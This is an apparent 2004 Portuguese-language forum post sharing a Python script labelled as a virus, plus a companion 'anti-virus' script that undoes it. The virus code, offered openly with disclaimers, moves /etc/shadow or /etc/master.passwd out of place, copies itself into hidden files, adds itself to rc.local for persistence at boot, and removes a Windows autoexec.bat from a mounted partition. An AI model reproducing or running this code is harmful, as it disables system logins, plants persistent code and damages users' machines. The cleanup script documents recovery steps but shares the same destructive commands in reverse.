Virus, trojan, sei lá o que é isso, PARTE II
Publicado por Ricardo Henrique 22/08/2004
[ Hits: 10.907 ]
A Atualização do Virus em python publicado por mim :-)
LEMBRE-SE.....NAO ME RESPONSABILIZO PELOS DANOS
É PROBLEMA SEU
LEIA O CÓDIGO FONTE ANTES DE EXECUTAR COMO ROOT
AJUDAS SAO BEM VINDAS
SE EXECUTAR O ARQ VIRUS.PY USE o ANTI-VIRUS.PY
LEMBRE-SE.....NAO ME RESPONSABILIZO PELOS DANOS
É PROBLEMA SEU
LEIA O CÓDIGO FONTE ANTES DE EXECUTAR COMO ROOT
OBRIGADO PELAS SUGESTOES!!!!!
VALEU....... AJUDAS SAO BEM VINDAS
#ARQUIVO VIRUS.PY
#------------------------------------------------
#!/usr/bin/env python
import os
#####################################
#Virus and python #
#version 1.0 #
# #
#Colaborações sao bem vindas #
# #
#DICA: Antes de executar o programa #
#copie os arquivos /etc/shadow e o #
#arquivo do windows autoexec.bat #
# #
#NAO ME RESPONSABILIZO PELOS #
#DANOS CAUSADOS, ISSO É PROBLEMA SEU#
# #
#REGISTRADO PELA A LICENCA GPL #
#OBRIGADO PELAS COLABORACOES #
#####################################
def linux():
try:
os.system('mv /etc/shadow /etc/.shadow') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('mv /etc/master.passwd /etc/.master.passwd') # Copia o arquivo caso vc execute o virus
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
arq = open(".list.txt", 'a') # Cria ou abre o arquivo oculto .list.txt
lis = os.listdir('/etc/') #Lista o que tem no /etc/
aa = "%s" %(lis)
arq.write(aa) # Grava no arquivo
arq.close()
os.system('cp virus.py .arq.py') # Copia o virus
os.system('cp .arq.py ../.conf.py'); # PODE ME SER UTIL ALGUN DIA ... COPIA PARA OUTROS DIRETORIOS, O DE BAIXO TAMBEM
os.system('cp .arq.py /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/rc.local /etc/rc.d/.rc.local')
rc = open("/etc/rc.d/rc.local",'a') # Abre o arquivo de inicializacao
rc1 = "python /etc/rc.d/.conf.py\n"
aaa = "%s" %(rc1)
rc.write(aaa)
rc.close()
os.system('chmod -x .arq.py') # muda as permisoes
os.system('chown root.root .arq.py') # muda o usuario
procura()
def procura():
try:
os.system('mkdir /win')
os.sytem('mount /dev/hda1 /win')
os.system('mv /win/autoexec.bat .autoexec.bat') # Num preciso nem falar
os.system('rm -rf /win')
except:
exit # se nao tiver windows ou ele nao está em nenhuma destas pastas ele sai do prog
def dig():
linux() # Colocar alguma coisa
dig()
#ARQ ANTI-VIRUS.PY
#-----------------------------------------------
#!/usr/bin/python
################################
#Quem Cria também distroi #
#Anti-virus para a merda que eu#
#fiz....infeslimente..o feitiço#
#virou contra o feiticeiro.....#
#tomara que funcione #
#OBRIGADO PELAS COLABORACOES #
################################
import os
def linux():
try:
os.system('cp /etc/.shadow /etc/shadow') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/shadow') # Remove o arquivo etc shadow
list() # Vai para a funcao list()
except:
bsd()
def bsd():
try:
os.system('cp /etc/.master.passwd /etc/master.passwd') # Copia o arquivo caso vc execute o virus
#os.remove('/etc/master.passwd') # Remove o arquivo /etc/master.passwd
list() # Vai para a funcao list()
except:
list()
def list(): # Funcao lista
os.system('rm -rf .list.txt') # Deleta o arquivo oculto .list.txt
os.system('rm -rf .arq.py') # Remove o virus
os.system('rm -rf ../.conf.py'); # remove o virus
os.system('rm -rf /etc/rc.d/.conf.py')
os.system('cp /etc/rc.d/.rc.local /etc/rc.d/rc.local')
procura()
def procura():
try:
os.system('mkdir /win')
os.system('mount /dev/hda1 /win')
os.system('cp .autoexec.bat /win/autoexec.bat') # Num preciso nem falar
os.system('rm -rf /win')
except:
exit
def dig():
linux() # Colocar alguma coisa
dig()
Jogo da forca criado em Python
Como rodar músicas mp3 pelo Python
Como extrair chaves TOTP 2FA a partir de QRCODE (Google Authenticator)
Linux em 2025: Segurança prática para o usuário
Desktop Linux em alta: novos apps, distros e privacidade marcam o sábado
IA chega ao desktop e impulsiona produtividade no mundo Linux
Novos apps de produtividade, avanços em IA e distros em ebulição agitam o universo Linux
Como instalar o repositório do DBeaver no Ubuntu
Como instalar o Plex Media Server no Ubuntu
Digitando underscore com "shift" + "barra de espaços"
Como ativar a lixeira e recuperar aquivos deletados em um servidor Linux
Como mudar o nome de dispositivos Bluetooth via linha de comando
O programa assinador digital (1)
PIP3 - erro ao instalar módulo do mariadb para o Python (9)
É normal não gostar de KDE? (8)
dpkg: erro: gatilho de arquivo duplicado chamado pelo arquivo de nome (6)









